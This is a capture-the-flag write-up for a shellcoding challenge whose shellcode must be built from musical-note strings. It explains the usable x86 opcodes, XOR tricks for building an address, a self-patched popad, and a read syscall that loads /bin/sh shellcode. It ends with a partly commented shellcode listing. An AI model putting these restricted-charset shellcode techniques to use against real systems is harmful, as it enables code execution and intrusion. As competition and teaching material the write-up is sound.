Tags: popad shellcode
full script @ https://gist.github.com/64c8198d87ca34cc326fc83ce6190670
This is a shellcoding challenge, reversing the binary reveals that the shellcode must be a sequence of notes. A note is a string of the form A0 or A#0, where A can be any letter between A and G and 0 is a digit between 0 and 9.
The shellcode is mapped at the fixed address 0x60606000 (RWX segment), and an `int 80h` is appended at the end that we do not need
to generate ourselves. Registers are cleared with exception of ESI, EDI, ESP which all point to the stack and ECX which is set to 1.
Enumerating possible opcodes shows that we can control EAX quite well, with the following opcodes:
- 4A xor al,0x41 (and variants with B,C,... for 0x42,0x43,...)
- 3F0 xor eax,[esi+0x30] (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]
- 1F0 xor [esi+0x30],eax (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]
- 0F0 xor [esi+0x30],al (and variants with #,1,2,... for +0x23,+0x31,+0x32,...) [and with edi using G instead of F]
For padding, we can use 'A' (inc ecx) if we want to use an opcode that starts with a number or '6' (ss prefix) to use an opcode that ends with a letter.
When the shellcode starts, the stack is already filled with a repeating 0x4f4f4f4f ('OOOO') and a 0x2d2d2d2d ('----') pattern. If we xor those together, we get 0x62626262, which is close to the base of the shellcode page. We can fix it up by setting AL to 0x2 or 0x1 and xoring it into that bytewise, so we end up with 0x60606160.
After we have control of EAX, we use it to patch a single byte into the shellcode: a popad. With popad, we can then fully control every register just by setting up the stack correctly, which is possible with our EAX gadgets.
For patching the shellcode, the following additional primitives are needed:
- #8 and edi,[eax] used to clear EDI by ANDing it with two values a,b such that a & b == 0
- 0D8A xor [eax+edi*1+0x41],al to perform the write
After that, we can use our existing stack -> EAX and EAX -> stack gadgets to setup the stack for a read syscall.
`read` then loads a /bin/sh shellcode to the RWX segment to spawn a shell.
# commented shellcode
; load RAX with 0x4f4f4f4f from stack
; xor the next 16 stack bytes with EAX (4 xors)
; gives 16 byte of cleared stack space, needed later
; now xor rax into 0x2f2f2f2f which is the the next value on the stack
; clear EAX
; load 2 into AL
A 4A6 A 4C6
; xor AL into 0x62626262's bytes
; load 1 into AL
A 4B 4C6
; xor AL into the third byte of our 0x60.. address
; clear EAX
A 4A 4B6
; load EAX with 0x60606160 (the address we built on the stack)
;; now EAX is 0x60606160, an address in the shellcode page
; clear EDI (first and)
; increment EAX (set AL to 0x61)
A 4B 4C 6
; clear EDI (second and)
; set AL to 0x20 (0x20 ^ 0x41 (the pad value) = 0x61 (popad))
; apply patch
; setup stack for popad
; (this works because stack space was cleared above so we can use XOR to write values to stack)
F6F6F6F 1F0 ; EDX = EAX (count)
F6F6F6F 1F0 ; ECX = EAX (read target)
A 3F0 A 4A 4B6 ; set EAX to 3
F6F6F6F 1F0 ; EAX = EAX (syscall number)
; increment stack pointer so that popad pops correct values+ padding
"D6" * 32
; padding (it is important that 'A' & '6' = 0x0 to clear EDI above)
"A6" * 400